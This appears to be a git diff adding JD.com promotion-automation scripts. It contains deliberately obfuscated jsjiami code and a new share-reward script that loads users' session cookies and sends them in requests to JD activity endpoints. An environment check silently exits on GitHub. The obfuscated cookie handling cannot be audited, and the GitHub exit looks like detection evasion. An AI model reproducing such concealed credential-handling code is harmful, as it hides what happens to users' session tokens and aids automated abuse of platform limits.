_0x44a23f[_0x5704('‫51e','\x63\x59\x45\x24')](_0x4ca2b9,_0x53e51c);},'\x55\x76\x41\x4c\x70':_0x44a23f[_0x5704('‫51f','\x52\x71\x45\x70')],'\x54\x59\x66\x52\x4b':function(_0x4e514f,_0x21b435,_0x5d998e){return _0x44a23f[_0x5704('‫520','\x78\x7a\x36\x69')](_0x4e514f,_0x21b435,_0x5d998e);}};try{if(_0x44a23f[_0x5704('‫521','\x28\x5b\x49\x52')](_0x44a23f[_0x5704('‫522','\x21\x50\x40\x79')],_0x44a23f[_0x5704('‫523','\x51\x58\x6a\x30')])){let _0x2908={'Accept':_0xc092ad[_0x5704('‮524','\x57\x4e\x63\x28')],'Accept-Encoding':_0xc092ad[_0x5704('‫525','\x4d\x4c\x33\x50')],'Accept-Language':_0xc092ad[_0x5704('‮526','\x67\x70\x73\x4c')],'Connection':_0xc092ad[_0x5704('‫527','\x5a\x45\x65\x69')],'Content-Type':_0xc092ad[_0x5704('‮528','\x5b\x24\x6d\x62')],'Cookie':cookie,'User-Agent':$['\x55\x41'],'X-Requested-With':_0xc092ad[_0x5704('‫529','\x48\x4b\x35\x4b')]};if(_0xc092ad[_0x5704('‫52a','\x56\x6a\x53\x71')](url[_0x5704('‮52b','\x33\x42\x34\x6c')](_0xc092ad[_0x5704('‮52c','\x2a\x57\x2a\x42')]),-0x1)){_0x2908[_0xc092ad[_0x5704('‮52d','\x67\x70\x73\x4c')]]=_0x5704('‫52e','\x68\x70\x5b\x44')+$[_0x5704('‫52f','\x36\x4d\x6f\x42')]+_0x5704('‫530','\x56\x6a\x53\x71')+$[_0x5704('‮531','\x5a\x45\x65\x69')];_0x2908[_0xc092ad[_0x5704('‮532','\x6c\x76\x69\x5e')]]=''+(_0xc092ad[_0x5704('‫533','\x4a\x74\x73\x31')](lz_jdpin_token_cookie,lz_jdpin_token_cookie)||'')+($[_0x5704('‮534','\x28\x4e\x49\x6e')]&&_0xc092ad[_0x5704('‮535','\x64\x28\x50\x70')](_0xc092ad[_0x5704('‫536','\x53\x4b\x54\x65')](_0xc092ad[_0x5704('‮537','\x64\x28\x50\x70')],$[_0x5704('‫1fc','\x2a\x57\x2a\x42')]),'\x3b')||'')+activityCookie;}return{'\x75\x72\x6c':url,'\x6d\x65\x74\x68\x6f\x64':method,'\x68\x65\x61\x64\x65\x72\x73':_0x2908,'\x62\x6f\x64\x79':body,'\x74\x69\x6d\x65\x6f\x75\x74':0x7530};}else{_0x60c3fb=_0x60c3fb&&_0x60c3fb[_0x5704('‮538','\x57\x4e\x63\x28')](/jsonp_.*?\((.*?)\);/)&&_0x60c3fb[_0x5704('‮539','\x6e\x62\x78\x33')](/jsonp_.*?\((.*?)\);/)[0x1]||_0x60c3fb;let _0x1b5bc7=$[_0x5704('‮53a','\x28\x4e\x49\x6e')](_0x60c3fb,_0x60c3fb);if(_0x1b5bc7&&_0x44a23f[_0x5704('‫53b','\x6e\x62\x78\x33')](typeof _0x1b5bc7,_0x44a23f[_0x5704('‮53c','\x4d\x4c\x33\x50')])){if(_0x1b5bc7&&_0x44a23f[_0x5704('‮53d','\x26\x43\x6c\x5a')](_0x1b5bc7[_0x5704('‫53e','\x5d\x51\x40\x40')],!![])){if(_0x44a23f[_0x5704('‫53f','\x28\x4e\x49\x6e')](_0x44a23f[_0x5704('‮540','\x28\x5b\x49\x52')],_0x44a23f[_0x5704('‫541','\x68\x44\x38\x78')])){console[_0x5704('‫268','\x50\x68\x29\x54')](_0x1b5bc7[_0x5704('‫542','\x32\x70\x28\x76')]);$[_0x5704('‫543','\x75\x49\x4b\x36')]=_0x1b5bc7[_0x5704('‫544','\x57\x71\x4f\x63')];if(_0x1b5bc7[_0x5704('‫545','\x26\x43\x6c\x5a')]&&_0x1b5bc7[_0x5704('‮370','\x56\x6a\x53\x71')][_0x5704('‫546','\x28\x4e\x49\x6e')]){for(let _0x2a42a7 of _0x1b5bc7[_0x5704('‮547','\x63\x59\x45\x24')][_0x5704('‫548','\x42\x73\x40\x76')][_0x5704('‮549','\x52\x71\x45\x70')]){console[_0x5704('‫181','\x28\x4e\x49\x6e')](_0x5704('‫54a','\x4f\x69\x30\x6f')+_0x2a42a7[_0x5704('‫54b','\x4a\x74\x73\x31')]+_0x2a42a7[_0x5704('‫54c','\x26\x43\x6c\x5a')]+_0x2a42a7[_0x5704('‮54d','\x64\x28\x50\x70')]);}}console[_0x5704('‫2e9','\x4f\x69\x30\x6f')]('');}else{console[_0x5704('‮161','\x56\x6a\x53\x71')](type+'\x20'+_0x60c3fb);}}else if(_0x1b5bc7&&_0x44a23f[_0x5704('‮54e','\x4a\x74\x73\x31')](typeof _0x1b5bc7,_0x44a23f[_0x5704('‮54f','\x5a\x63\x59\x33')])&&_0x1b5bc7[_0x5704('‫550','\x78\x7a\x36\x69')]){$[_0x5704('‮551','\x56\x6a\x53\x71')]=_0x1b5bc7[_0x5704('‮552','\x49\x78\x66\x34')];console[_0x5704('‫c6','\x49\x78\x66\x34')](''+(_0x1b5bc7[_0x5704('‫30a','\x4d\x4c\x33\x50')]||''));}else{if(_0x44a23f[_0x5704('‫553','\x28\x5b\x49\x52')](_0x44a23f[_0x5704('‮554','\x28\x5b\x49\x52')],_0x44a23f[_0x5704('‮555','\x26\x43\x6c\x5a')])){console[_0x5704('‫339','\x58\x28\x7a\x75')](_0x5704('‮556','\x49\x78\x66\x34')+(_0x1b5bc7[_0x5704('‮351','\x70\x21\x54\x48')]||_0x556b80[_0x5704('‮557','\x70\x46\x28\x68')]));}else{console[_0x5704('‮1a2','\x78\x7a\x36\x69')](_0x60c3fb);}}}else{console[_0x5704('‮334','\x5a\x63\x59\x33')](_0x60c3fb);}}}catch(_0x3d8b85){if(_0x44a23f[_0x5704('‮558','\x64\x28\x50\x70')](_0x44a23f[_0x5704('‫559','\x70\x21\x54\x48')],_0x44a23f[_0x5704('‮55a','\x28\x4e\x49\x6e')])){$[_0x5704('‫55b','\x77\x35\x30\x47')](_0x3d8b85,_0x3bb534);}else{_0xc092ad[_0x5704('‮55c','\x33\x42\x34\x6c')](dealReturn,type,_0x60c3fb);}}finally{_0x44a23f[_0x5704('‮55d','\x68\x70\x5b\x44')](_0xbdcfce);}});});}async function getshopactivityId(){var _0x359016={'\x6c\x6b\x4b\x42\x57':function(_0x21bbc1,_0x93f059){return _0x21bbc1==_0x93f059;},'\x77\x67\x44\x52\x51':_0x5704('‫55e','\x28\x54\x5b\x43'),'\x61\x4c\x5a\x75\x62':_0x5704('‮55f','\x56\x6a\x53\x71'),'\x58\x42\x48\x71\x64':function(_0x2a1483,_0x282c76){return _0x2a1483!==_0x282c76;},'\x4e\x66\x50\x66\x47':_0x5704('‮560','\x31\x55\x72\x4e'),'\x4e\x77\x7a\x69\x67':_0x5704('‫561','\x23\x68\x26\x31'),'\x53\x52\x79\x71\x64':function(_0x388346,_0x2bce2f){return _0x388346===_0x2bce2f;},'\x66\x61\x4c\x45\x52':_0x5704('‮562','\x4a\x74\x73\x31'),'\x73\x43\x72\x48\x62':_0x5704('‮563','\x67\x70\x73\x4c'),'\x71\x75\x56\x46\x41':function(_0x38cbdc){return _0x38cbdc();},'\x56\x4e\x6d\x4f\x65':_0x5704('‮564','\x4d\x4c\x33\x50'),'\x62\x63\x65\x53\x4a':_0x5704('‮565','\x28\x4e\x49\x6e'),'\x52\x58\x4f\x61\x66':_0x5704('‮566','\x53\x75\x56\x74'),'\x71\x5a\x63\x69\x61':function(_0x2f2b15,_0x21caf0,_0x47387c){return _0x2f2b15(_0x21caf0,_0x47387c);},'\x6f\x59\x48\x6a\x78':_0x5704('‫567','\x57\x4e\x63\x28'),'\x73\x46\x68\x77\x6e':function(_0x42d627,_0x3c10a5){return _0x42d627(_0x3c10a5);},'\x67\x47\x43\x57\x64':_0x5704('‮568','\x70\x46\x28\x68'),'\x68\x78\x58\x6b\x54':_0x5704('‫569','\x36\x4d\x6f\x42'),'\x69\x58\x68\x46\x41':_0x5704('‫56a','\x31\x55\x72\x4e'),'\x52\x63\x77\x67\x61':_0x5704('‫56b','\x63\x59\x45\x24'),'\x6e\x53\x76\x64\x74':_0x5704('‫56c','\x43\x26\x57\x4a')};return new Promise(async _0x7ad3e7=>{let _0x385a13=_0x5704('‫56d','\x21\x50\x40\x79')+$[_0x5704('‮4fe','\x2a\x5d\x57\x49')]+_0x5704('‫56e','\x21\x50\x40\x79');const _0x3617dc={'\x61\x70\x70\x69\x64':_0x359016[_0x5704('‮56f','\x52\x71\x45\x70')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0x359016[_0x5704('‫570','\x2a\x5d\x57\x49')],'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0x359016[_0x5704('‮571','\x4f\x69\x30\x6f')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x62\x6f\x64\x79':JSON[_0x5704('‫572','\x4f\x69\x30\x6f')](_0x385a13)};const _0x542845=await _0x359016[_0x5704('‫573','\x23\x68\x26\x31')](getH5st,_0x359016[_0x5704('‮574','\x5a\x45\x65\x69')],_0x3617dc);const _0x3ce274={'\x75\x72\x6c':_0x5704('‫575','\x6c\x76\x69\x5e')+_0x385a13+_0x5704('‮576','\x58\x28\x7a\x75')+_0x359016[_0x5704('‫577','\x5b\x24\x6d\x62')](encodeURIComponent,_0x542845),'\x68\x65\x61\x64\x65\x72\x73':{'accept':_0x359016[_0x5704('‮578','\x6e\x62\x78\x33')],'accept-encoding':_0x359016[_0x5704('‮579','\x2a\x46\x21\x69')],'accept-language':_0x359016[_0x5704('‫57a','\x28\x5b\x49\x52')],'cookie':cookie,'origin':_0x359016[_0x5704('‫57b','\x75\x59\x49\x48')],'user-agent':_0x359016[_0x5704('‫57c','\x6c\x76\x69\x5e')]}};$[_0x5704('‫57d','\x64\x28\x50\x70')](_0x3ce274,async(_0x13a75a,_0x52edfc,_0x461de1)=>{var _0x4cfa3b={'\x50\x61\x54\x56\x59':function(_0x277800,_0x1c5d43){return _0x359016[_0x5704('‮57e','\x75\x49\x4b\x36')](_0x277800,_0x1c5d43);},'\x52\x42\x6a\x57\x4e':_0x359016[_0x5704('‫57f','\x67\x70\x73\x4c')]};try{_0x461de1=_0x461de1&&_0x461de1[_0x5704('‮580','\x48\x4b\x35\x4b')](/jsonp_.*?\((.*?)\);/)&&_0x461de1[_0x5704('‮581','\x72\x28\x6f\x59')](/jsonp_.*?\((.*?)\);/)[0x1]||_0x461de1;let _0x1b427a=$[_0x5704('‮582','\x70\x21\x54\x48')](_0x461de1,_0x461de1);if(_0x1b427a&&_0x359016[_0x5704('‮583','\x33\x42\x34\x6c')](typeof _0x1b427a,_0x359016[_0x5704('‫584','\x63\x59\x45\x24')])){if(_0x1b427a&&_0x359016[_0x5704('‮585','\x26\x43\x6c\x5a')](_0x1b427a[_0x5704('‫586','\x64\x28\x50\x70')],!![])){console[_0x5704('‫41','\x68\x44\x38\x78')](_0x5704('‮587','\x68\x44\x38\x78')+(_0x1b427a[_0x5704('‫588','\x48\x4b\x35\x4b')][_0x5704('‮589','\x26\x43\x6c\x5a')][_0x5704('‫58a','\x64\x28\x50\x70')]||''));$[_0x5704('‮58b','\x52\x71\x45\x70')]=_0x1b427a[_0x5704('‫187','\x57\x4e\x63\x28')][_0x5704('‫58c','\x5b\x24\x6d\x62')]&&_0x1b427a[_0x5704('‮35c','\x53\x4b\x54\x65')][_0x5704('‮3d6','\x75\x49\x4b\x36')][0x0]&&_0x1b427a[_0x5704('‫545','\x26\x43\x6c\x5a')][_0x5704('‮58d','\x76\x46\x4e\x39')][0x0][_0x5704('‫58e','\x26\x43\x6c\x5a')]&&_0x1b427a[_0x5704('‮58f','\x32\x70\x28\x76')][_0x5704('‫590','\x49\x78\x66\x34')][0x0][_0x5704('‮591','\x2a\x5d\x57\x49')][_0x5704('‮592','\x6c\x76\x69\x5e')]||'';}}else{console[_0x5704('‫41','\x68\x44\x38\x78')](_0x461de1);}}catch(_0x4e237a){if(_0x359016[_0x5704('‮593','\x28\x4e\x49\x6e')](_0x359016[_0x5704('‫594','\x5a\x45\x65\x69')],_0x359016[_0x5704('‮595','\x51\x58\x6a\x30')])){$[_0x5704('‮596','\x56\x6a\x53\x71')](_0x4e237a,_0x52edfc);}else{console[_0x5704('‫494','\x5d\x51\x40\x40')](type+'\x20'+_0x461de1);}}finally{if(_0x359016[_0x5704('‫597','\x77\x35\x30\x47')](_0x359016[_0x5704('‮598','\x28\x4e\x49\x6e')],_0x359016[_0x5704('‫599','\x57\x4e\x63\x28')])){if(_0x4cfa3b[_0x5704('‫59a','\x68\x44\x38\x78')](_0x52edfc[_0x5704('‮59b','\x21\x50\x40\x79')],0x1ed)){console[_0x5704('‫181','\x28\x4e\x49\x6e')](_0x4cfa3b[_0x5704('‮59c','\x57\x71\x4f\x63')]);$[_0x5704('‮59d','\x36\x4d\x6f\x42')]=!![];}}else{_0x359016[_0x5704('‮59e','\x68\x44\x38\x78')](_0x7ad3e7);}}});});};_0xodU='jsjiami.com.v6'; + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_wxShareActivity.js b/jd_wxShareActivity.js new file mode 100755 index 0000000..8505a2e --- /dev/null +++ b/jd_wxShareActivity.js @@ -0,0 +1,42 @@ +/* +7 7 7 7 7 jd_wxShareActivity.js +分享有礼 通用脚本 +ACTIVITY_ID + +OWN_COOKIE_NUM + +*/ +const $ = new Env("分享有礼-接口不限流"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let authorCodeList = []; +let ownCookieNum = 1; +let isGetAuthorCodeList = true +let activityId = '' +let activityShopId = '' + +if (process.env.OWN_COOKIE_NUM && process.env.OWN_COOKIE_NUM != 4) { + ownCookieNum = process.env.OWN_COOKIE_NUM; +} +if (process.env.ACTIVITY_ID && process.env.ACTIVITY_ID != "") { + activityId = process.env.ACTIVITY_ID; +} + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +var _0xodw='jsjiami.com.v6',_0xodw_=['‮_0xodw'],_0x4dca=[_0xodw,'ckVTU0w=','dXhJWFU=','cGFyc2U=','cmVzdWx0','SXllY2k=','ZGF0YQ==','d2hEclI=','eEZraEY=','TVpzRkw=','bXlVdWlk','QVpha0s=','cHVzaA==','S0pUdG0=','c3RyaW5naWZ5','VUJGTUk=','bHpramR6LWlzdi5pc3ZqY2xvdWQuY29t','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb21t','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20v','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vd3hTaGFyZUFjdGl2aXR5Lw==','VmlJUFA=','eXVvbWk=','bmt6dWw=','cFBjaGk=','SEdqYXI=','cXlBSUQ=','YUJrc2s=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','TVJxaG4=','am1wbWE=','RFZIVEo=','eGtYT0c=','S3NUZ3k=','cllOSUE=','b3V4cVI=','SVVjTVY=','UWRtYXE=','RHN0QWw=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vY3VzdG9tZXIvZ2V0TXlQaW5n','YXRJR08=','UHB5UXo=','YUN6Uno=','YmVDelU=','bm90elQ=','b1ZJV0s=','dHhFQVQ=','TlRDd0E=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUA==','T2N3Y3g=','UmFRWHc=','cWZVdlk=','enVib0o=','alVOTGM=','VFl1ZU8=','YXhtcXU=','blZkWXc=','T2dWTE0=','eEVvaVg=','QXBMbXo=','aXNOb2Rl','TE1FQmo=','Ymp1cms=','R1Nwak8=','Um1EeXM=','VWxJQnE=','cUtSU1Y=','WXN1enU=','eWVlWHc=','bUtsaXY=','VUtRTkQ=','5L2g5aW977ya','bmlja25hbWU=','cGlu','O0FVVEhfQ19VU0VSPQ==','U1hHUmg=','VnpLbWc=','bG9nRXJy','SFNXcEI=','emlmRWw=','d0JIZ3I=','VFRZTU0=','cWdYZkI=','Q1N1THI=','Li9VU0VSX0FHRU5UUw==','SkRVQQ==','amRhcHA7aVBob25lOzkuNC40OzE0LjM7bmV0d29yay80ZztNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','Z0ltdHQ=','Sk95V2g=','d25zYkU=','TXFyaGI=','RXlxSkw=','WW92b1E=','bGJUZlg=','VmNjWGE=','Rm54V1M=','RWFacEI=','Tmh6Z3I=','Z2V0','ZW52','SkRfVVNFUl9BR0VOVA==','Q0FmT2Y=','YXdUSms=','VVNFUl9BR0VOVA==','Z2V0ZGF0YQ==','S0hMY0s=','c3VqZmM=','aURjYm8=','YVlvWkM=','ZG1SUWE=','WUFRU0U=','Z0pEbVY=','U3dVS00=','eWhxckw=','dWNGcmY=','ZHVTQm8=','QVdRaWE=','YkdUUWY=','dnpURlA=','Z3BDZUI=','Y29va2ll','SUZFenU=','RHlsTnI=','Zmxvb3I=','eUFwTXc=','cmFuZG9t','alFvdkI=','cmVwbGFjZQ==','cWFoYVo=','dVVhRVM=','c0dFVlU=','Q1ZVdlg=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','TlpJbGU=','alJjWVc=','MTAwMQ==','dXNlckluZm8=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','Ki8q','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','eXJweUc=','Vmd2WVQ=','VHdZZWE=','WkZVUno=','ZHNBYXo=','cERXSWY=','Y1BjT3E=','U1JTYUo=','U3JNVWw=','TFJLeWY=','aHBNbks=','Z0FtYlM=','cmV0Y29kZQ==','clBmQXA=','aGFzT3duUHJvcGVydHk=','aEl3bUE=','YmFzZUluZm8=','eE1EUUk=','alhFWVA=','RmxadXo=','VVROdFM=','eFBoelQ=','aHdzcng=','b1dCY08=','SGVNd1I=','RUxDSUE=','aXN2T2JmdXNjYXRvcg==','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','YXBpLm0uamQuY29t','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','Y3dNUXc=','Y0VCT2w=','cURmaVY=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','eVJKWmY=','S3JXa2o=','V0R3QVE=','dWp3Wlk=','Q2ZvV2U=','RUpBVlo=','Q2xQTWI=','RVlZRFI=','UXdvWmY=','VEtZWVI=','eHdod1U=','d25hUFo=','SnpBVVY=','TFFlenM=','YkNOeXQ=','eGtjQkc=','T05EVkE=','S1paV0k=','Qk5OVkQ=','dE9sZXE=','TndzS3I=','dllsV1o=','YnhJWk4=','IGdldFNpZ24gQVBJ6K+35rGC5aSx6LSl77yM6K+35qOA5p+l572R6Lev6YeN6K+V','Y29kZQ==','d0Fkc0w=','TURzeEo=','VWpOZEE=','Z0pTWFM=','WHdDbGQ=','Z2RGVVI=','UFVHQ20=','RkhSRHQ=','VHdlY3g=',